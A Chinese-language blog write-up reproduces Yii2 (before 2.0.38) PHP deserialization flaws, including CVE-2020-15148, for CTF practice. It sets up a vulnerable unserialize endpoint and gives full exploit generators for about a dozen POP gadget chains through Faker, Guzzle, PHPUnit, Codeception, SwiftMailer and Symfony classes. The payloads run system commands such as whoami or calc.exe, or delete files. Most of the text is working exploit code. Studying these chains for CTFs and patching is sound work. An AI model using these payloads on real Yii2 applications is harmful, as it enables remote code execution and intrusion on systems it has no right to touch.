Yii2反序列化漏洞复现

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前言

最近复现比赛的时候碰到了挺多和 Yii2 相关的反序列化链子的题目,学习的过程中跟着已有的链子进行了分析,同时跟着思路自己也尝试拓宽了一下链子的数量,在这里正好对此类链子做一个小小的总结。

 

漏洞范围

Yii2 < 2.0.38

 

环境部署

Apache version:2.4.39
PHP version:php7.3.4nts

这里选择 yii-basic-app-2.0.37 的源码,源码链接
使用 phpstudy 来搭建,将源码解压在 web 目录后访问 requirements.php 文件,修改 config/web.php 的源码,将 cookieValidationKey 的值改为 demo
controllers 目录下新建一个文件 DemoController.php,添加一个反序列化的入口代码

<?php

namespace app\controllers;

use Yii;
use yii\web\Controller;

class DemoController extends Controller
{
    public function actionDemo()
    {
        $name = Yii::$app->request->get('input');
        return unserialize(base64_decode($name));
    }
}

访问 web/index.php,出现如下页面则环境部署成功

 

POP链-1

漏洞分析

CVE-2020-15148 的反序列化起点在 vendor/yiisoft/yii2/db/BatchQueryResult.php
这里 __destruct() 方法会调用 reset() 方法,而 reset() 方法中的参数 $this->_dataReader 是可控的,进一步调用该参数的 close() 方法,漏洞点就在于此可以作为跳板来利用 __call() 方法执行反序列化操作

全局搜索 __call() 方法,跟进 vendor/fzaninotto/faker/src/Faker/Generator.php

发现 __call() 方法调用了 format() 方法,这里的参数 $method$attributes 都是不可控的,在 format() 方法的内部使用了回调函数 call_user_func_array() 来调用 getFormatter() 方法

继续跟进 getFormatter() 方法,这里的 $this->formatters 是可控的,所以 getFormatter() 方法的返回值也是可控的,结合上一步的分析,回调函数 call_user_func_array() 的第一个参数是可控的,第二个参数为空,此时可以利用第一个参数来调用一个可以实现 RCE 的方法,并且这个方法的参数要是类的成员变量、要是可控的

这里利用正则表达式来 function_you_want\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)\) 寻找可用的代码执行函数,发现 call_user_func 是可用的,vendor/yiisoft/yii2/rest/CreateAction.phpvendor/yiisoft/yii2/rest/IndexAction.php 中的 run 方法都可以满足 RCE 的条件

POC链的利用过程为

EXP

exp1

<?php

namespace yii\rest {
    class CreateAction {
        public $id;
        public $checkAccess;
        public function __construct() {
            $this->id = 'whoami';
            $this->checkAccess = 'system';
        }
    }
}

namespace Faker {
    use yii\rest\CreateAction;
    class Generator {
        protected $formatters;
        public function __construct() {
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db {
    use Faker\Generator;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader = new Generator();
        }
    }
}

namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}
?>

exp2

<?php

namespace yii\rest {
    class IndexAction {
        public $id;
        public $checkAccess;
        public function __construct() {
            $this->id = 'whoami';
            $this->checkAccess = 'system';
        }
    }
}

namespace Faker {
    use yii\rest\IndexAction;
    class Generator {
        protected $formatters;
        public function __construct() {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}

namespace yii\db {
    use Faker\Generator;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader = new Generator();
        }
    }
}

namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}
?>

修复方法

参考官方的修复方法

POP链-2

漏洞分析

前面已经分析了 vendor/yiisoft/yii2/db/BatchQueryResult.php 是漏洞利用的起点,由于通过调用 reset() 方法进一步调用 close 方法,所以直接搜索 close() 方法来尝试触发 __call() 方法

逐个跟踪后,发现 vendor/guzzlehttp/psr7/src/FnStream.php 中的 close() 方法会触发 call_user_func() 回调函数,且参数 $this->_fn_close 可控

<?php

namespace GuzzleHttp\Psr7 {
    class FnStream {
        var $_fn_close = "phpinfo";
    }
}

namespace yii\db {
    use GuzzleHttp\Psr7\FnStream;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader = new FnStream();
        }
    }
}

namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}
?>

上面构造的 POC 链已经能通过回调函数 call_user_func() 执行 phpinfo 了,以此为跳板继续寻找一个可以执行命令的类来进行代码执行,利用正则 eval\(\$this->([a-zA-Z0-9]+) 匹配到 eval() 命令可以利用

跟进匹配到的两个 eval() 方法,发现 $this->classCode 是可控的,这里构造 exp 时需要绕过 __wakeup() 方法

POC链的利用过程为

EXP

<?php

namespace PHPUnit\Framework\MockObject {
    class MockTrait {
        private $classCode = "system('whoami');";
        private $mockName = "extrader";
    }
}

namespace GuzzleHttp\Psr7 {
    use PHPUnit\Framework\MockObject\MockTrait;
    class FnStream {
        var $_fn_close;
        public function __construct() {
            $this->_fn_close = array(new MockTrait(), 'generate');
        }
    }
}

namespace yii\db {
    use GuzzleHttp\Psr7\FnStream;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader = new FnStream();
        }
    }
}

namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(str_replace('O:24:"GuzzleHttp\Psr7\FnStream":1:','O:24:"GuzzleHttp\Psr7\FnStream":2:',serialize(new BatchQueryResult())));
}
?>

 

POP链-3

漏洞分析

继续分析前面搜索的 close() 方法,跟进 vendor/yiisoft/yii2/web/DbSession.php 中的 close() 方法,发现其先调用 getIsActive() 方法进行一个判断

跟进 getIsActive() 方法,这里对会话的状态做了一个判断,当 yii-debuggii 这两个默认扩展都存在(不一定需要开启)时就会返回 true;否则返回 false

true 条件满足时进入 if 循环内,进一步调用 composeFields() 方法,再调用 call_user_func() 方法,但参数无法控制,传入一个对象为参数的可用函数也不太多,这里采用调用类中的公共方法来实现 RCE,赋值为 [(new demo), “aaa”]这样的一个数组

结合上面的链子,这里采用 vendor/yiisoft/yii2/rest/CreateAction.phpvendor/yiisoft/yii2/rest/IndexAction.php 中的 run 方法,均可实现 RCE
POC链的利用过程为

EXP

exp1

<?php

namespace yii\rest {
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct() {
            $this->checkAccess="system";
            $this->id="calc.exe";
        }
    }
}

namespace yii\web {
    use yii\rest\IndexAction;
    class DbSession {
        protected $fields = [];
        public $writeCallback;
        public function __construct() {
            $this->writeCallback=[(new IndexAction),"run"];
            $this->fields['1'] = 'aaa';
        }

    }
}

namespace yii\db {
    use yii\web\DbSession;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader = new DbSession();
        }
    }
}

namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}
?>

exp2

<?php

namespace yii\rest {
    class CreateAction {
        public $checkAccess;
        public $id;
        public function __construct() {
            $this->checkAccess="system";
            $this->id="calc.exe";
        }
    }
}

namespace yii\web {
    use yii\rest\CreateAction;
    class DbSession {
        protected $fields = [];
        public $writeCallback;
        public function __construct() {
            $this->writeCallback=[(new CreateAction),"run"];
            $this->fields['1'] = 'aaa';
        }

    }
}

namespace yii\db {
    use yii\web\DbSession;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader = new DbSession();
        }
    }
}

namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}
?>

 

POP链-4

漏洞分析

在更新后的版本中,BatchQueryResult 类的反序列化已经被修复了,但是最新的 patch 只是用在了 BatchQueryResult 类中,尝试全局搜索 function __destruct()|__wakeup() 来挖掘新的链子

逐个分析查找到的可用类,跟进 vendor/codeception/codeception/ext/RunProcess.php,这里先调用 stopProcess() 方法,接着调用 isRunning() 方法进行判断,但是这个方法不在类中,会触发 __call() 方法,并且这里的参数 $this->processes 是可控的,因此可以找一个 __call() 方法来,这里直接利用前面构造 POP链-1 的后半段来拼接一个新的 exp

POC链的利用过程为

EXP

exp1

<?php

namespace yii\rest {
    class CreateAction {
        public $checkAccess;
        public $id;
        public function __construct() {
            $this->checkAccess="system";
            $this->id="calc.exe";
        }
    }
}

namespace Faker {
    use yii\rest\CreateAction;
    class Generator {
        protected $formatters;
        public function __construct() {
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }

    }
}

namespace Codeception\Extension {
    use Faker\Generator;
    class RunProcess {
        private $processes;
        public function __construct() {
            $this->processes = [new Generator()];
        }
    }
}

namespace {
    use Codeception\Extension\RunProcess;
    echo base64_encode(serialize(new RunProcess()));
}
?>

exp2

<?php

namespace yii\rest {
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct() {
            $this->checkAccess="system";
            $this->id="calc.exe";
        }
    }
}

namespace Faker {
    use yii\rest\IndexAction;
    class Generator {
        protected $formatters;
        public function __construct() {
            $this->formatters['isRunning'] = [new IndexAction(), 'run'];
        }

    }
}

namespace Codeception\Extension {
    use Faker\Generator;
    class RunProcess {
        private $processes;
        public function __construct() {
            $this->processes = [new Generator()];
        }
    }
}

namespace {
    use Codeception\Extension\RunProcess;
    echo base64_encode(serialize(new RunProcess()));
}
?>

 

POP链-5

漏洞分析

继续分析上面查找的 function __destruct()|__wakeup()
跟进 vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php,这里 __destruct() 方法调用了 clearAll() 方法,跟进去发现进一步调用了 clearKey() 方法,继续跟进,发现会调用 unlink() 方法,并且这里的 $this->path 是可控的,那么就可以寻找可以利用的 __toString() 魔术方法来进行后续的 RCE 操作

全局搜索一下 __toString() 方法:function __toString\(\)

这里给出几个触发点

\GuzzleHttp\Psr7/FnStream::__toString -> call_user_func 可以调用命令执行

\Symfony/string/LazyString::__toString -> value 可以控制该值从而调用 run 方法进行 RCE

\Codeception\Util\XmlBuilder::__toString -> \DOMDocument::saveXML 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Version::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Deprecated::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Generic::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\See::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Link::__toString -> render 可以触发__call方法

......

POC链的利用过程为

EXP

这里随便用几个触发点构造 exp,剩下的可以自己构造试试
exp1

<?php

namespace yii\rest {
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct() {
            $this->checkAccess="system";
            $this->id="calc.exe";
        }
    }
}

namespace Faker {
    use yii\rest\IndexAction;
    class Generator {
        protected $formatters;
        public function __construct() {
            $this->formatters['render'] = [new IndexAction(), 'run'];
        }

    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags {
    use Faker\Generator;
    class Deprecated {
        protected $description;
        public function __construct() {
            $this->description = new Generator();
        }
    }
}

namespace {
    use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;
    class Swift_KeyCache_DiskKeyCache {
        private $path;
        private $keys;
        public function __construct() {
            $this->keys = array("H3rmesk1t"=>array("is"=>"ctfer"));
            $this->path = new Deprecated();
        }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

exp2

<?php

namespace yii\rest {
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct() {
            $this->checkAccess="system";
            $this->id="calc.exe";
        }
    }
}

namespace Faker {
    use yii\rest\IndexAction;
    class Generator {
        protected $formatters;
        public function __construct() {
            $this->formatters['saveXML'] = [new IndexAction(), 'run'];
        }

    }
}

namespace Codeception\Util {
    use Faker\Generator;
    class XmlBuilder {
        protected $__dom__;
        public function __construct() {
            $this->__dom__ = new Generator();
        }
    }
}

namespace {
    use Codeception\Util\XmlBuilder;
    class Swift_KeyCache_DiskKeyCache {
        private $path;
        private $keys;
        public function __construct() {
            $this->keys = array("H3rmesk1t"=>array("is"=>"ctfer"));
            $this->path = new XmlBuilder();
        }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

exp3

<?php

namespace PHPUnit\Framework\MockObject {
    class MockTrait {
        private $classCode = "system('calc.exe');";
        private $mockName = "extrader";
    }
}

namespace GuzzleHttp\Psr7 {
    use PHPUnit\Framework\MockObject\MockTrait;
    class FnStream {
        var $_fn___toString;
        public function __construct() {
            $this->_fn___toString = array(new MockTrait(), 'generate');
        }
    }
}

namespace {
    use GuzzleHttp\Psr7\FnStream;
    class Swift_KeyCache_DiskKeyCache {
        private $path;
        private $keys;
        public function __construct() {
            $this->keys = array("H3rmesk1t"=>array("is"=>"ctfer"));
            $this->path = new FnStream();
        }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

 

POP链-5

漏洞分析

继续分析前面搜索的 __destruct() 方法入口,跟进 vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php,这里 __destruct 方法调用了 file_exists() 方法,而 file_exists 的参数通用是需要 String 类型,所以这里如果能够满足后面的 getPath() 方法可控即可继续用上面的 __toString() 的方式来触发 RCE 了

跟进 getPath() 方法,很明显这里的 $this->path 是可控的,可以构造出任意文件删除和 RCE 的 exp 了

POC链的利用过程为

EXP

exp1

<?php

namespace {
    class Swift_ByteStream_FileByteStream {
        private $path;
        public function __construct() {
            $this->path = '/var/www/html/flag';
        }
    }
    class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
    }
    echo base64_encode(serialize(new Swift_ByteStream_TemporaryFileByteStream()));
}
?>

exp2

<?php

namespace yii\rest {
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct() {
            $this->checkAccess = "system";
            $this->id = "calc.exe";
        }
    }
}

namespace Symfony\Component\String {
    use yii\rest\IndexAction;
    class LazyString {
        private $value;
        public function __construct() {
            $this->value = [new IndexAction,"run"];
        }
    }
}

namespace {
    use Symfony\Component\String\LazyString;
    class Swift_ByteStream_FileByteStream {
        private $path;
        public function __construct() {
            $this->path = new LazyString();
        }
    }
    class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
    }
    echo base64_encode(serialize(new Swift_ByteStream_TemporaryFileByteStream()));
}
?>

 

POP链-6

漏洞分析

紧接着上面的思路,继续跟进另一条链子 vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/AbstractSmtpTransport.php,这里 __destruct() 方法调用了 stop() 方法,继续跟进发现 $this->eventDispatcher 可控,故可以继续利用上面已知的 __call() 方法来进行后续操作达到 RCE

POC链的利用过程为

EXP

<?php

namespace yii\rest {
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct() {
            $this->checkAccess = "system";
            $this->id = "calc.exe";

        }
    }
}

namespace Faker {
    use yii\rest\IndexAction;
    class Generator {
        protected $formatters;
        public function __construct() {
            $this->formatters['createTransportChangeEvent'] = [new IndexAction,"run"];
        }
    }
}

namespace {
    use Faker\Generator;
    abstract class Swift_Transport_AbstractSmtpTransport {
    }
    class Swift_Transport_SendmailTransport extends Swift_Transport_AbstractSmtpTransport {
        protected $started;
        protected $eventDispatcher;
        public function __construct() {
            $this->started = True;
            $this->eventDispatcher = new Generator();
        }
    }
    echo (base64_encode(serialize(new Swift_Transport_SendmailTransport())));
}
?>

 

POP链-7

漏洞分析

前面查询的结果中有一个点的 __wakeup() 方法是可以利用的,跟一下试试

跟进 vendor/symfony/string/UnicodeString.php,这里调用了 normalizer_is_normalized() 方法,并且 $this->string 是可控的,所以可以尝试找一个 __toString() 魔术方法来进行后续 RCE 操作,这里直接利用上一条链子找到的那些 __toString() 魔术方法即可,当然也可以用这个 __wakeup() 方法来触发之前的 __call() 方法的 POP 链

POC链的利用过程为

EXP

exp1

<?php

namespace yii\rest {
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct() {
            $this->checkAccess="system";
            $this->id="calc.exe";
        }
    }
}

namespace Symfony\Component\String {
    use yii\rest\IndexAction;
    class LazyString {
        private $value;
        public function __construct()
        {
            $this->value = [new IndexAction,"run"];
        }
    }
    class UnicodeString{
        protected $string;
        public function __construct() {
            $this->string = new LazyString();
        }
    }
    echo base64_encode((serialize(new UnicodeString())));
}
?>

exp2

<?php

namespace yii\rest {
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct() {
            $this->checkAccess = "system";
            $this->id = "calc.exe";
        }
    }
}

namespace Faker {
    use yii\rest\IndexAction;
    class Generator {
        protected $formatters;
        public function __construct() {
            $this->formatters['saveXML'] = [new IndexAction,"run"];
        }
    }
}

namespace Codeception\Util {
    use Faker\Generator;
    class XmlBuilder {
        protected $__dom__;
        public function __construct() {
            $this->__dom__ = new Generator();
        }
    }
}

namespace Symfony\Component\String {
    use Codeception\Util\XmlBuilder;
    class UnicodeString {
        protected $string;
        public function __construct() {
            $this->string = new XmlBuilder();
        }
    }
    echo base64_encode((serialize(new UnicodeString())));
}
?>

 

后言

文中链子的触发方式在 __call()__toString() 有很多,这里就没用把构造出来的链子都贴出来;各位师傅们有兴趣的话可以自己尝试构造一下,文中有不对的地方还请各位师傅们指正,欢迎大家一起交流学习吖!

 

参考

Yii反序列化分析
详解PHP反序列化漏洞

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